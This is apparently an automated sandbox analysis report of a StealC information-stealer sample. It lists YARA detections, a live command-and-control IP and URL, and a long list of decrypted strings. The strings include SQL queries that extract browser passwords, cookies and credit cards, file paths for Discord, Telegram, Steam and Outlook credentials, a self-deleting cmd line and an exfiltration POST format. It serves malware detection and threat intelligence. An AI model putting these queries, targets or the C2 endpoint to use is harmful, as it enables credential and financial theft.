Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CE79E0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00CE79E0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CE7BC0 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00CE7BC0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.cd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2037496917.0000000005190000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2091636092.000000000157E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5952, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.cd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2037496917.0000000005190000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2091636092.000000000157E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5952, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Screenshots

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Network Map

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Contacted Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.206	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/6c4adf523b719729.php	true		unknown
http://185.215.113.206/	true		unknown

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.cd0000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: 30
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: 11
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: 20
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: 24
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Sleep
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: sscanf
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: http://185.215.113.206
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: bksvnsj
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: /746f34465cf17784/
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: tale
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GlobalLock
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Process32First
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: FindClose
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: psapi.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: DeleteObject
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GdiplusStartup
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GdipDisposeImage
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GdipFree
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CoUninitialize
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CoInitialize
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CoCreateInstance
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetDC
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CloseWindow
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: wsprintfA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CharToOemW
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: wsprintfW
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: RegEnumValueA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: InternetOpenA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: StrCmpCA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: StrStrA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: StrCmpCW
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: RmStartSession
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: RmRegisterResources
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: RmGetList
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: RmEndSession
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: sqlite3_open
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: sqlite3_step
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: sqlite3_column_text
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: sqlite3_finalize
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: sqlite3_close
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: encrypted_key
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: PATH
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: NSS_Init
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: NSS_Shutdown
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: PK11_Authenticate
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: C:\ProgramData\
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: browser:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: profile:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: url:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: login:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: password:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Opera
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: OperaGX
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Network
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: cookies
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: .txt
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: TRUE
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: FALSE
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: autofill
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: history
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: cc
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: name:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: month:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: year:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: card:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Cookies
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Login Data
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Web Data
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: History
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: logins.json
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: formSubmitURL
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: usernameField
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: encryptedUsername
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: encryptedPassword
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: guid
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: cookies.sqlite
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: formhistory.sqlite
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: places.sqlite
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: plugins
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Local Extension Settings
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Sync Extension Settings
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: IndexedDB
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Opera Stable
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Opera GX Stable
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: CURRENT
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: chrome-extension_
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Local State
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: profiles.ini
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: chrome
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: opera
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: firefox
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: wallets
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: ProductName
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: x32
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: x64
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: ProcessorNameString
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: DisplayName
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: DisplayVersion
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Network Info:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - IP: IP?
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - Country: ISO?
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: System Summary:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - HWID:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - OS:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - Architecture:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - UserName:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - Computer Name:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - Local Time:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - UTC:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - Language:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - Keyboards:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - Laptop:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - Running Path:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - CPU:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - Threads:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - Cores:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - RAM:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - Display Resolution:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: - GPU:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: User Agents:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Installed Apps:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: All Users:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Current User:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Process List:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: system_info.txt
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: freebl3.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: mozglue.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: msvcp140.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: nss3.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: softokn3.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: vcruntime140.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: \Temp\
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: .exe
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: runas
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: open
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: /c start
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: %RECENT%
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: *.lnk
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: files
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: \discord\
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: key_datas
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: map*
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Telegram
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Tox
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: *.tox
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: *.ini
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Password
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: 00000001
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: 00000002
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: 00000003
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: 00000004
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Pidgin
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: \.purple\
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: accounts.xml
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: token:
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: SteamPath
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: \config\
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: ssfn*
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: config.vdf
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: loginusers.vdf
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: \Steam\
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: sqlite3.dll
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: browsers
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: done
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: soft
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: https
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: POST
